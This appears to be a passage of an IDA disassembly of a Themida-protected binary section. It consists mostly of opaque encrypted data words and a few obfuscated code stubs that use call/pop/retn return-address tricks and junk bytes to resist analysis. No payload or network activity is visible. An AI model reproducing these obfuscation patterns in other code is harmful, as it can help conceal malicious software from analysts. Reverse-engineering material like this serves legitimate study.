		dd 4932EEA0h, 0BBD40FE6h, 0E485C517h, 0DF42071h, 4B862580h
		dd 12Fh, 0BB1B3B87h, 0A9094595h, 0B5153587h, 0AE0C4493h
		dd 0B7173D8Ch, 0F342AB84h, 0D15F4161h, 0ACFF2181h, 0C91C3E9Ch
		dd 39162383h, 0B79D4AC4h, 64FE1316h, 0B72670BDh, 109DB55Bh
		dd 4211418Fh, 0FE4EDFC3h, 0C8193F9Fh, 0BD8C2684h, 0BF8B1D6Ch
		dd 3F0E6FAEh, 2482CA1Bh, 2A89FDE4h, 8EFBE6BBh, 617E9F16h
		dd 6AA2EC79h, 3317A9B9h, 0C35E138Ch, 8B1D05A2h,	506FAEBFh
		dd 8A37C11Dh, 0C10B8A0Ah, 37E26093h, 8B1E0A8Ah,	72BFE1C1h
		dd 8BDAC5E2h, 2F5B79E4h, 0DBF6757Fh, 97h, 0C8BEA377h, 51AD7AEBh
		dd 755A1684h, 91F3B71Dh, 93305123h, 0AA3222AFh,	0A5331C3Bh
		dd 75A15F33h, 0C9DAF39h, 5A456240h, 0D55E4EB2h,	0E5E7F11Ah
		dd 6A69F854h, 756F448h,	0EB3995C8h, 83020A83h, 4DABDAE2h
		dd 0D61823ACh, 0E2731F9Ch, 0D3664C6Ah, 0CCEBE879h, 0E32A3D99h
		dd 3D8706FBh, 3EBECC1Bh, 0CB87D525h, 1AA1BCE4h,	0E2765C7Bh
		dd 30B8D968h, 0A1BE9BB1h, 0E3A3F26Ch, 925ABBFBh, 7ECF83F8h
		dd 77CAF0CEh, 0C4984D5h, 0E5000000h, 0B1795E7Bh, 0DC994F71h
		dd 0BD2DA731h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
		dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh,	2215242Ah
		dd 66A368h, 240C8900h, 763768h,	24348900h, 2D4568h, 240C8900h
		dd 0E5E8B951h, 0CE890619h, 83240C8Bh, 8B5404C4h, 0C481240Ch
		dd 4, 3F7A68h, 24348900h, 0FF08418Fh, 83592434h, 348B04C4h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 96EAE95Ch
		dd 2895FFF9h, 86A82B8Eh, 0EA1EB8F6h, 0C5030619h, 0F12CE0FFh
		dd 0DCE1270Bh, 29157121h, 7921086Bh, 15E90333h,	0A7F37C56h
		dd 2D1F6B2Dh, 152374C6h, 6C44F5Dh, 86834982h, 1EFC0AF0h
		dd 0F35E5052h, 0F162081Ah, 657A7146h, 9AFD7FC7h, 36262163h
		dd 0B45F5F6Ch, 0E21466BCh, 0B5405A68h, 0C73E5AE9h, 21124D1Ah
		dd 76595204h, 12B61F98h, 0E07B4DDBh, 79B30A2Fh,	0CAB8610Bh
		dd 0A5C419F6h, 3063E84h, 2FA41166h, 8D8D2C03h, 619EBD7h
		dd 8967C080h, 131BBD8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 4B8A1EADh, 9D8BD301h
		dd 6130B35h, 18DD85C7h,	6B400613h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C7BB54C3h
		dd 13305585h, 6, 0C19D0900h, 8B06132Eh,	1331A595h, 1B5FF06h
		dd 6A061321h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 8101C350h, 7B5B2AFBh, 0CB81A3A6h
		dd 43D57B78h, 0FFD68B66h, 131D8995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 74F952E6h
		dd 635E5F90h, 2825958Bh, 6A0613h, 0DA995FFh, 0C08B0613h
		dd 1F4B38EBh, 8F2495CBh, 1D95DA31h, 24036B30h, 0B58A086Dh
		dd 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0A192C12Eh, 1CC58E9Ah
		dd 9E25CE92h, 0D9D7D840h, 75968FF3h, 82598655h,	8D8DE4CFh
		dd 619ECDEh, 35607BB8h,	659D3178h, 89061316h, 131BBD8Dh
		dd 0EDB58906h, 8B06131Fh, 0DD85C7C3h, 50061318h, 0BA000066h
		dd 421A393Dh, 305585C7h, 613h, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 408AC5C3h
		dd 0AE9h, 6BCAF100h, 45B474BDh,	0FFE9C8E8h, 1331EDB5h
		dd 8995FF06h, 6A06131Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8B14C357h, 130D11B5h
		dd 14E806h, 0C33F0000h,	8DB49C66h, 0FDD8B6A4h, 383EA6CCh
		dd 0D7179C77h, 0E957829Eh, 0Fh,	0B91CDA6Eh, 0FA1377B5h
		dd 0CBCFCF13h, 5EAE1265h, 0FF006A58h, 130DA995h, 0EBC08B06h
		dd 0F4B03E0Ch, 0DD37AE68h, 2F44A154h, 10E834h, 8B690000h
		dd 0D86B2786h, 98E8F518h, 7ACDCB57h, 0F98B905Eh, 0D7C18159h
		dd 68000064h, 0
		dd 0CE8h, 620F1600h, 276FFEC1h,	0C5C541CAh, 0E5BD8901h
		dd 5B06131Dh, 0E7816658h, 34FF9E04h, 0D3BF0F08h, 0E1BB665Eh
		dd 2CC681ABh, 0E8160661h, 7, 0D6F8C4BAh, 333DB2C0h, 1322C59Dh
		dd 0C6815B06h, 4A1B2C11h, 2179BD89h, 0F6810613h, 561568A4h
		dd 25EDBF66h, 48FF956h,	0C3816601h, 0E8816F59h,	0D5EC05Fh
		dd 61DBD8Bh, 0C0810613h, 0D5EC05Bh, 359D8B57h, 5B06130Dh
		dd 9BD0F881h, 850FFFFFh, 0FFFFFF96h, 5AEB8166h,	12E8A0h
		dd 57F40000h, 3C80D107h, 526C7F93h, 0C7B63D17h,	0DAAA8B9Dh
		dd 0D820Fh, 8E90000h, 0A9000000h, 1E5E4074h, 58F1E435h
		dd 81E6CD80h, 734DC0h, 78BB6600h, 60F6331Eh, 0C480F18Bh
		dd 34FF61F4h, 0E1B3BA06h, 0E85F2371h, 14h, 68F275F5h, 63CF57ECh
		dd 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 28F0Fh, 61600000h
		dd 0E2F78159h, 806D3B01h, 0EF81A0DEh, 0F30C659h, 38A0Fh
		dd 0BF0F0000h, 0A6F781DEh, 8B3E2202h, 303C89DAh, 1965950Bh
		dd 0D1810613h, 2B9B2005h, 8904EE83h, 130B6D85h,	90FE8106h
		dd 0FFFFF8Dh, 1385h, 0D3816600h, 2CE9675Eh, 0A6000000h
		dd 919CD966h, 6FBB3B26h, 0AE9h,	7C1CAF00h, 4E6F6FF6h, 0E9C14829h
		dd 0FFFFFF6Ah, 0A3D43EBh, 50FB9799h, 8569ED94h,	0E980C094h
		dd 13h,	41BB5FE3h, 3 dup(0)
		dd 0E9000000h, 50Fh, 2383D35Fh,	1A1ADFDh, 1DBD8D1Fh, 6A4AC3Bh
		dd 1FBF9524h, 5BEA032Ch, 69F7D9F9h, 54E7C9E9h, 61F4D6F4h
		dd 0E1FECBEBh, 0B7A332ACh, 0BCA6FB16h, 1670E5C2h, 0DF109DB5h
		dd 912436BEh, 19A8AABBh, 24B59B3Bh, 19A78B28h, 0E30AF39h
		dd 7EC091BBh, 0C013222Ch, 8351B89Fh, 382C3B3h, 8BA4FB9h
		dd 113797B5h, 62C8ABEh,	84C697B1h, 0B4F1E34h, 80C293BBh
		dd 2BBB1F2Dh, 3E4CD65Dh, 0ACCD8D11h, 0A318BA9Dh, 57F41EB2h
		dd 923018ABh, 81798AB5h, 89EE4187h, 90BC0D3Fh, 9E320C33h
		dd 408D8EDAh, 3998E978h, 0B2109E34h, 0BB79A318h, 23A34195h
		dd 68h,	133D8EB4h, 5FF9C342h, 0C3E06CBDh, 6CFD4DDFh, 0B544A32Dh
		dd 109DB557h, 9FCD3ECCh, 0A341EAD1h, 0C3C8FB3h,	273618AAh
		dd 1C7DEE6h, 9B000000h,	50E16DBDh, 4EFE4F73h, 4569EFFh
		dd 203F9CB2h, 9DB571EDh, 3915A510h, 0B694282Ah,	0BD0766A7h
		dd 0B59B2C2Eh, 4ABF33A4h, 0AB084698h, 45143487h, 0FCDEFCC4h
		dd 65C3E369h, 55E470BDh, 1AAAE171h, 2085938h, 0F23FF388h
		dd 0CB5E4462h, 3A8EB081h, 0EE184110h, 0E8712F5Dh, 8CD9A341h
		dd 7D000000h, 55E470BDh, 16A8DF71h, 0C3E82938h,	0C1FE8502h
		dd 0ED7C1DCAh, 0D483F87Ah, 62F35DEEh, 2AB79923h, 17A68C2Ah
		dd 4367E97Ah, 8B0A5BF3h, 0E8775BEAh, 0C2E846A2h, 0C9A8D126h
		dd 0A4157178h, 41A8A878h, 7A10A3h, 7FA30000h, 2E7D2131h
		dd 0EAF21322h, 0E470BD70h, 0A4DE7155h, 0AEDF673Dh, 109E1B34h
		dd 0C53398FDh, 5CEE426Fh, 0CA0D5C3Dh, 4E572A15h, 1169F6C5h
		dd 0E6EE8FC3h, 0D6630FACh, 0F67516B8h, 1C7D0651h, 489BBFh
		dd 0BD409AB8h, 0E0C2E16Dh, 0E30014Fh, 0EAF293BDh, 0A7B5C7Bh
		dd 109DB490h, 3F923459h, 13DD3C0Dh, 9DB51574h, 87048E10h
		dd 41EA9765h, 63FA3h, 0BAA00000h, 449E2628h, 8EDF6BBDh
		dd 253F94Ch, 7B27A4CEh,	454161E9h, 6A4D6A1Ch, 9DB49FFBh
		dd 0D3626810h, 0FBD8E081h, 8EB19B8Ah, 78C94C16h, 6A490356h
		dd 958F648h, 30124088h,	6F9EAF9Dh, 0A8AAEF1h, 5F13A82Ah
		dd 7A607ECEh, 0F2D465E7h, 0B65CED5Fh, 62F39F1Ch, 0A070CCEAh
		dd 85AAD10h, 15Bh, 0C8BEA32Eh, 0BC377AEBh, 4DD0168Eh, 0C587DAFCh
		dd 0DA72C3E5h, 56F6478Bh, 0F891FF07h, 0A1FD704Fh, 6A0A8AA5h
		dd 1EAFA12Bh, 6434902Eh, 0CC5AAD1Bh, 51h, 0C6BCA372h, 4BFA74E9h
		dd 82036F62h, 9ADAFA25h, 0E26DF826h, 664C8BDAh,	13727AD4h
		dd 909EA3B7h, 0C1345AEBh, 909EA445h, 5FEE8F0Eh,	37A6EC7Bh
		dd 909EA3DBh, 310061A4h, 1E07840Eh, 0A573088Ah,	7AEBC8BAh
		dd 0EF633B00h, 0B268409h, 0D7h,	4CE0C2A7h, 0FD706FFEh
		dd 109DB4A1h, 824A2B6Ah, 7C5B2B36h, 8EA0FC09h, 8DDAE516h
		dd 3E2B7BEAh, 0F2DDFA9Bh, 0D8C6534Ah, 7D2F3C40h, 0C7C003D9h
		dd 90CF1EA6h, 91E43EAFh, 68AD0A8Ah, 91C01A4Bh, 4890A8Ah
		dd 3F479ABCh, 7D174F05h, 0A6046526h, 285D3184h,	0A89EAAEh
		dd 0E6771677h, 89EB3497h, 88AA750Ah, 44CE1634h,	0A73A20C7h
		dd 6B7594A5h, 94B6D869h, 0FE58093Fh, 0C70A89E9h, 7BD16446h
		dd 0EDCAABEAh, 14DC78C5h, 0E79FCAC6h, 8FBF95C8h, 0C6EC1070h
		dd 988D973h, 8F2022BFh,	91A0AAFEh, 0C1401170h, 1CAD91A0h
		dd 0C12B2130h, 4DC09F48h, 46FFBD1h, 0D48EB59Ah,	738DB86h
		dd 0D6AA4166h, 99ED55Ah, 186E73BFh, 44497BBh, 7A6E9FBCh
		dd 370A569Ch, 0A35AF8D6h, 6CC802BEh, 17E244h, 7C46909Bh
		dd 0ADCCC3FEh, 0A809DF0Eh, 47C61684h, 0CB81D4F6h, 0D874C5EBh
		dd 0C686D7FBh, 0D31E6FFEh, 78512577h, 80D181FAh, 0DD113706h
		dd 0A9C8A51Ah, 93DE250Ah, 889B8436h, 0E8CF2C07h, 17A1CF39h
		dd 0A1361C39h, 507796A7h, 0DDE1072Fh, 0E5E7F1E7h, 6569F854h
		dd 0F5EB7AD6h, 1C76E7C8h, 50C2E0EEh, 0C50251FFh, 0E0EE3690h
		dd 0FF9EFFC2h, 741E9BF5h, 6B4C6BE1h, 0E0EDA0FAh, 3F87D1C2h
		dd 0BD012195h, 341AACAEh, 3B85E425h, 0A2AA3B1Dh, 0BF8B1D05h
		dd 39BB635h, 37000000h,	71BDE17Bh, 0DF7254E5h, 65FADC6Dh
		dd 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h
		dd 2ABC9EAFh, 53221524h, 0C381E389h, 4,	3304EB83h, 1C31241Ch
		dd 241C3324h, 21F7685Ch, 2C890000h, 59BA6824h, 1C890000h
		dd 3EB95124h, 833F4115h, 0C18101E9h, 0C6D8D965h, 5459CD89h
		dd 81241C8Bh, 4C4h, 8BA5200h, 1000000h,	2C8155DAh, 0C960CB24h
		dd 81028F62h, 0C960CB02h, 34FF5A62h, 0C4815B24h, 4, 57242C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 0BDE95C24h, 36FFF98Dh
		dd 0C3A0B941h, 55CA0391h, 0B8F0EDE5h, 619F325h,	0E0FFC503h
		dd 57F2EE4Fh, 67A86AACh, 13A9D865h, 5DBBA5EDh, 6E6D9070h
		dd 3D012BA2h, 540B6BB4h, 7C73AE7Bh, 0E0823E9h, 574D1145h
		dd 1E6EE30Bh, 7391572Dh, 53929C3Ch, 0FB4E38Eh, 3E1D7457h
		dd 0F4B98D8Dh, 6A0619h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8B66DFC3h, 98D89D7h, 89061319h
		dd 131BBD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8589FAE6h, 6131ED9h, 49B866h, 0DD85C7F9h
		dd 50061318h, 6A00005Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0D7BAC350h,	305585C7h
		dd 613h, 0B5FF0000h, 61320B9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 5CC35646h, 5279CB81h, 95FF1F54h
		dd 6131D89h, 5A4FB866h,	95FF006Ah, 6130DA9h, 2FEBC08Bh
		dd 0A853FEDDh, 0F1C2A27Eh, 59D17EC9h, 0EF46A8EBh, 1658A26Ch
		dd 0B174682Ah, 325BC362h, 0B69F8908h, 1A5BAB71h, 7F0BFF31h
		dd 3C141B54h, 8DB4F127h, 19F5C18Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 187F1FDFh
		dd 0A6513732h, 1BBD8D89h, 810F0613h, 6,	31BA6650h, 85C75871h
		dd 61318DDh, 584Ch, 1969BD89h, 85C70613h, 6133055h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5EB820
; ---------------------------------------------------------------------------
		db 51h,	0E3h, 9Dh
		dd 2EE8FB4Fh, 0DAAFB380h, 637247A3h
; ---------------------------------------------------------------------------


loc_5EB820:				; CODE XREF: Themida_:005EB80Cj
		push	dword ptr [ebp+613302Dh]
		push	0
		push	ebp
		call	sub_5EB831
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EB831	proc near		; CODE XREF: Themida_:005EB829p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5EB831	endp

; ---------------------------------------------------------------------------
		sbb	dword ptr [ebx+21B1958Bh], 13h
		push	es
		jmp	loc_5EB855
; ---------------------------------------------------------------------------
		align 10h
		sub	eax, 0CA3EA813h


loc_5EB855:				; CODE XREF: Themida_:005EB84Aj
		call	dword ptr [ebp+6131D89h]
		push	0
		push	ebx
		call	sub_5EB866
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EB866	proc near		; CODE XREF: Themida_:005EB85Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5EB866	endp

; ---------------------------------------------------------------------------
		dw 5DEFh
		dd 18B1EA8Bh, 850B13A4h, 6132385h, 95FF006Ah, 6130DA9h
		dd 7FEBC08Bh, 21F666CDh, 46834684h, 3E21F040h, 72294801h
		dd 9AA588C5h, 1B95900Ah, 0BFB72977h, 0D9968BD9h, 0FD51FC2Ch
		dd 7A25624Bh, 0C9B02946h, 7F4525CFh, 4153AD2Eh,	0CF7AC42Ch
		dd 52F918CCh, 37CAF5E2h, 33452159h, 8FFF958Ch, 74FD90E2h
		dd 613F2D74h, 0E77E67D4h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h
		dd 0D2658BE6h, 0AD14EA64h, 58619B11h, 28E9F40Fh, 0D915A9D2h
		dd 40D397A1h, 60CC37C7h, 8D32D8B5h, 19F71F8Dh, 0F88B6606h
		dd 1BBD8D89h, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0EAEC6DC3h, 9529828Ch, 6132C21h
		dd 18DD85C7h, 729C0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0AEE932C3h, 0FF938A6h
		dd 0E84h, 0B5896000h, 6133101h,	11318D29h, 0C7610613h
		dd 13305585h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E80F61C8h, 0Fh, 1DA8484Ah
		dd 0D9FC7465h, 587C7E5Ah, 0F91E620h, 665FC3B7h,	6D5AF681h
		dd 1489BD89h, 0B5FF0613h, 613005Dh, 0C75BD8Bh, 95FF0613h
		dd 6131D89h, 6A41B2h, 0DA995FFh, 0C08B0613h, 0D8A478EBh
		dd 9C172B6Bh, 421558B7h, 0B8ED3DCCh, 83851EEEh,	0CB97690Fh
		dd 0CE9A618Dh, 0F7CE145Dh, 0BFEBA633h, 8D86416Dh, 803399EEh
		dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h, 0EF9BE7D0h, 3D4E3B2Bh
		dd 0C5EBEE7h, 0AD244384h, 0AA8684E1h, 0E36C1E77h, 0C818154Eh
		dd 0AB66D839h, 736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 0B2779E32h
		dd 3B6BC8DAh, 2D33948Eh, 0D201E894h, 6AEB93C8h,	14E969C2h
		dd 0A000000h, 23E065h, 3 dup(0)
		dd 0E9000000h, 567h, 4B6BEB77h,	5979D565h, 4565E577h, 5E7CD463h
		dd 4767ED7Ch, 23B2DB54h, 21AF9131h, 1CAF9131h, 19AC8E2Ch
		dd 89C69333h, 0B7ABFA54h, 0F44EC316h, 51E06CBDh, 3725572h
		dd 109DB487h, 429CCD50h, 0B109DB4h, 0C110428Ah,	83D280D0h
		dd 5D436302h, 1B6ABDCCh, 54E584CCh, 0C6055435h,	0F6FE54E4h
		dd 6AFB51E4h, 0AEB2D668h, 63596AB7h, 193D0C6Dh,	92B485C9h
		dd 5AF8483Dh, 0A9292A3Bh, 0E0122510h, 2626B76Bh, 3B0DA288h
		dd 6022B59Bh, 752C58DCh, 35046592h, 0BE8FC311h,	1FD368AAh
		dd 3C1EBC8Ch, 6392A3A9h, 109CF2E2h, 75C48E1Eh, 5C910351h
		dd 109CF302h, 1A2B4ACBh, 7065D674h, 0D0634C8Bh,	0B7394CA0h
		dd 54E51FA9h, 0BECC6828h, 0C1D05Ch, 0BFE30000h,	1EBBE070h
		dd 7BB4EACBh, 0BD449E26h, 0FC8E1D6Ch, 0ECC9413Fh, 0C293F2C8h
		dd 96C76E7Dh, 0CCAD0E21h, 98F95BEAh, 38AD8AC9h,	109E43DEh
		dd 3E16A3A7h, 910D805Fh, 5A109E43h, 0F652B13Bh,	2E109E43h
		dd 9DA1B09Ah, 0CD5F430Fh, 76F8EC7Dh, 5FEB1005h,	65F2C2EAh
		dd 15AA341h, 0
		dd 0C2E16DBDh, 6FFE4CE0h, 347A62Eh, 2EA8DDB3h, 0F7109DB5h
		dd 79C880D3h, 49187918h, 0F793280Ah, 9DB50C86h,	0D1B0D510h
		dd 95B70180h, 173B0A46h, 96B889C9h, 54F84946h, 54E58405h
		dd 38EA5F73h, 73C4A5A3h, 86D88AFFh, 0E5CDEAC8h,	60343658h
		dd 669260D8h, 0D935A807h, 0A2109E3Eh, 0E6775963h, 0BDEA4866h
		dd 0E3C7E470h, 2A6BFA52h, 0AFFF43A2h, 0D8BD38D9h, 3F5E4B78h
		dd 51EA682Eh, 624014A1h, 0F9325A45h, 430FCCDEh,	8A0B5AF2h
		dd 5EEFE1EBh, 0E97B5FEEh, 7D09D061h, 97C5B0Ch, 109DF18Dh
		dd 35AD3756h, 0A341D577h, 9FDFh, 70BD8300h, 0B55BB726h
		dd 0E124109Dh, 0AFFF2380h, 854FCE9Fh, 98BEE9E6h, 0B0C26C28h
		dd 0FE4FFB4Dh, 0E4F6FE9Fh, 0F86BFA50h, 7956017Ah, 9EA48A04h
		dd 0AA325310h, 9B3B19A8h, 8F2C28B5h, 22331BABh,	488AD9E3h
		dd 0C60859F7h, 488ADB75h, 0C60958F6h, 7F462FCCh, 0E9D17613h
		dd 68F0F85Ch, 0A34118B8h, 8E087D5Ah, 57109EAEh,	0DF6EE673h
		dd 8E15DFBEh, 5Ah, 0E470BDB4h, 6ADE7155h, 9FFB6A4Dh, 68109DB4h
		dd 0B4C9B25h, 6245F287h, 9DB497F3h, 963D6010h, 555791B1h
		dd 61737D6Bh, 882280D4h, 50E16DBDh, 9DB4A021h, 0E9C61910h
		dd 0ABDA6EC1h, 109DB52Fh, 0C14B95F8h, 4DC09F48h, 109DB4D1h
		dd 0E9717B9Ah, 0A341EA2Bh, 193h, 0E0C2A700h, 0D3320351h
		dd 0D575C709h, 5DEF4284h, 2596D80Ch, 4F6FDB6Dh,	4F6C1A4Fh
		dd 0E47E4770h, 0F55BD182h, 22CD9CEBh, 1F7E168Fh, 93B90C4Eh
		dd 90BC0D33h, 91C10F33h, 0E87741C0h, 0D878C7EBh, 21137110h
		dd 464C0A8Bh, 0A0ACFDB5h, 0BF8F1F03h, 77656FAEh, 0FD4C0051h
		dd 75C488D9h, 0DC86038Dh, 47E3C389h, 5AAC8689h,	14F31h
		dd 0EA08200h, 4890F140h, 0C8BEA38Eh, 0BC377AEBh, 4DD0168Eh
		dd 6DFBDFFCh, 0B2E85E1Fh, 0E283425Fh, 2465F8DAh, 6CADBC92h
		dd 3A8BAD0Dh, 6392B512h, 0A89C3E7h, 0B382CA1Bh,	38800552h
		dd 7A14A5A9h, 0C3AE285Dh, 16770A89h, 89C3EB67h,	3051B40Ah
		dd 0D79CAC93h, 4290C64h, 10B7ED17h, 0E0E8A1F2h,	7A0F7981h
		dd 0F7D775C8h, 0AD959D5Bh, 6E455Ah, 0A3190000h,	74E9C6BCh
		dd 6F624BFAh, 32FD4C73h, 0BBA11307h, 7251B431h,	60950150h
		dd 909EA4E6h, 0C50F6EAFh, 0A57BD726h, 1EAF909Eh, 0A4A1FD70h
		dd 2B6A909Eh, 89D7FB4Ah, 2A5B78C9h, 909EA4B0h, 0CF431479h
		dd 88354B3Ah, 2E30DA9Fh, 29B3FC17h, 419E6ADFh, 77F36241h
		dd 80EF629Ch, 0F445075Ah, 0F3D7F495h, 3E5FEE66h, 7189A8B6h
		dd 25000000h, 351E0C2h,	0AD09D332h, 80F5D2B4h, 168EA175h
		dd 2C2E3F5Eh, 8ABDED99h, 0C5370543h, 612007A4h,	61C3B3A5h
		dd 23B61045h, 1E7F0A8Ah, 4167757Fh, 7C0D5CF0h, 0A8A241Bh
		dd 0DC5365Ch, 0F3390BCh, 7EC091C1h, 0CF4E1F29h,	0F83826AEh
		dd 0C73695F1h, 1070B1E6h, 3471677h, 95CB9AB2h, 0CF1ADE5Bh
		dd 4E518B7h, 50A56BBh, 0FCC4901Dh, 32902E6Fh, 0EBC8BEA3h
		dd 8443BB7Ah, 0A093BC16h, 151A7C97h, 226300C8h,	0AE9E2F13h
		dd 0B5972A10h, 0E94155A4h, 49762F4Ah, 717BCF61h, 5DF0A217h
		dd 58E9CFEFh, 0D26165F4h, 77F9EF7Eh, 4FFD5002h,	54F8496Fh
		dd 3C805h, 7B660000h, 0E571BDE1h, 6DDF7254h, 0E365FADCh
		dd 72E07052h, 252DFE3h,	92C20F33h, 20307FC3h, 0AF9B2D11h
		dd 242ABC9Eh, 69682215h, 89000030h, 89502434h, 405E0h
		dd 0E8830000h, 24048704h, 241C895Ch, 81E38953h,	4C3h, 4EB8300h
		dd 5C241C87h, 0BB243489h, 2938267Dh, 68h, 241C2900h, 0F7DBF75Bh
		dd 39F381DBh, 68D0DE2Eh, 1FA5h,	83242489h, 5E042404h, 97B85053h
		dd 2938CA03h, 58042444h, 8108468Fh, 3970846h, 348B38CAh
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 5B2434FFh
		dd 0E904C483h, 0FFF9844Ch, 0E9653017h, 192DD69Fh, 0B8601586h
		dd 619FC8Ch, 0E0FFC503h, 589226B7h, 30DAEA14h, 3772CD38h
		dd 5D3C9C7Dh, 4BCCCA5Ah, 1175DDDAh, 1AC967E0h, 0FE8h, 0A7FCBA00h
		dd 3BFEF5FEh, 0BE833E13h, 0A3A72742h, 0F143BA66h, 3F89BB5Fh
		dd 0C78122C5h, 70ECh, 1C0468h, 0EBF38100h, 581CB82Eh, 13E9h
		dd 669F7900h, 90B2A570h, 946B632Dh, 999C219Eh, 178D7A1h
		dd 0F5737FFh, 58Ah, 0E1816600h,	5E5A0BCBh, 8EE81F9h, 0F74317Fh
		dd 1689h, 11E900h, 0E5CD0000h, 93221E95h, 966BB505h, 0E580F0F9h
		dd 81E6052Ah, 8C091F6h,	12B9664Ch, 9AF68167h, 535334D6h
		dd 378959F5h, 0EF83F18Ah, 5820F03h, 66000000h, 2F7F381h
		dd 48CA8A4Fh, 11850Fh, 0B9660000h, 32E99782h, 1E000000h
		dd 4C4AA6E0h, 0E92037FBh, 0Dh, 0CB1B49D7h, 1A2861h, 9B184E9Ch
		dd 0FF76E99Eh, 0F50DFFFFh, 0A545ABCBh, 0CB382275h, 304962Ch
		dd 0A8D33FCFh, 6E8FEh, 3F440000h, 5B445DFEh, 805EC88Bh
		dd 0C68167EAh, 638Dh, 0A7A9D281h, 16BB7862h, 81172265h
		dd 227DD7F3h, 5336FF17h, 41D98166h, 80585F3Ah, 0E88189C6h
		dd 5015ECF0h, 9BCF8166h, 0F8F0810Dh, 0B9584BF1h, 1894FA8Bh
		dd 5372C081h, 800F66E8h, 8, 0A0F78060h,	61F2B70Fh, 0F510689h
		dd 686h, 8C0F00h, 5F000000h, 8101EE83h,	0B7E635C9h, 4E4E4E48h
		dd 7E9h, 0EF993200h, 4B9916B9h,	0F01EB83h, 0FFFF9885h
		dd 8DD08BFFh, 19FF408Dh, 0F99D2306h, 89061316h,	131BBD8Dh
		dd 85C7F506h, 61318DDh,	73C4h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0EC35141h, 305585C7h, 613h
		dd 8B660000h, 0EDB5FFDAh, 6A061331h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1597C357h
		dd 8995FFF9h, 0F06131Dh, 68Bh, 0BEE8100h, 6A0F5209h, 0A995FF00h
		dd 8B06130Dh, 0C60CEBC0h, 0F82122D4h, 2405208Dh, 0E8FD44FFh
		dd 6, 0A9A173C1h, 8E0F9DDAh, 2,	0FC5F1CB6h, 5E30C781h
		dd 81660000h, 0BE70DDEAh, 1762h, 0D2DBD89h, 37FF0613h
		dd 0DE960h, 2C260000h, 0E76E71A3h, 64FC3159h, 0E8A0C16Ch
		dd 0Ah,	9F3B3AC9h, 8E64B6C8h, 58F55E2Fh, 85295B61h, 6131DADh
		dd 0F8BFF381h, 85897B2Ah, 6130641h, 9482C381h, 830F1C22h
		dd 4, 845BB966h, 3A45F381h, 95B8492Bh, 5373C46Ch, 11A99D09h
		dd 78F0613h, 216D8523h,	0EF810613h, 60873E84h, 81C68B66h
		dd 873E80C7h, 2D958B60h, 4E061332h, 0FF80850Fh,	0B589FFFFh
		dd 61306FDh, 14E8h, 0F8601900h,	63621142h, 66E304F6h, 201A48BCh
		dd 9EFF1E48h, 0C830F3Ah, 0F000000h, 688h, 0E9BD8B00h, 59061322h
		dd 0AE9h, 6274C300h, 897C0528h,	81FF35BBh, 72F7C1h, 38C0F00h
		dd 66000000h, 8168D98Bh, 5A00001Ch, 13E8h, 9B916B00h, 5BC8AAE1h
		dd 3C4DE441h, 0F5A263AEh, 0C522108Ah, 5B92EC80h, 18BF31FFh
		dd 5E71D9A8h, 38E0Fh, 8B660000h, 7FC681FEh, 0F28890Bh
		dd 8Ah,	2EE8100h, 0E811BA54h, 10h, 0B536E8B3h, 6C9A0FDEh
		dd 8E27739Fh, 0F5D4DFC8h, 0B7F6815Bh, 601C3348h, 397DC981h
		dd 0E08148DAh, 1B28BED7h, 18F5661h, 0A5DB8166h,	1E9811Dh
		dd 0E9502756h, 8, 0F9005D62h, 1670212Ah, 55FDC181h, 0AE85027h
		dd 0D4000000h, 7826FCABh, 0C0C2CB66h
		dd 0EA815FEEh, 1, 0FF76850Fh, 0BD8BFFFFh, 613104Dh, 0A234AC42h
		dd 0A27C2406h, 3BB37D7Ah, 80233047h, 83B42A21h,	6F302590h
		dd 863025C4h, 92A598A7h, 89302301h, 86305A8Dh, 0F8DA684h
		dd 86363666h, 8642A12Eh, 3F62590h, 802334A9h, 0EED04D6Ah
		dd 82B15B98h, 3E5E452Dh, 1385DAADh, 0B363656h, 904C16A4h
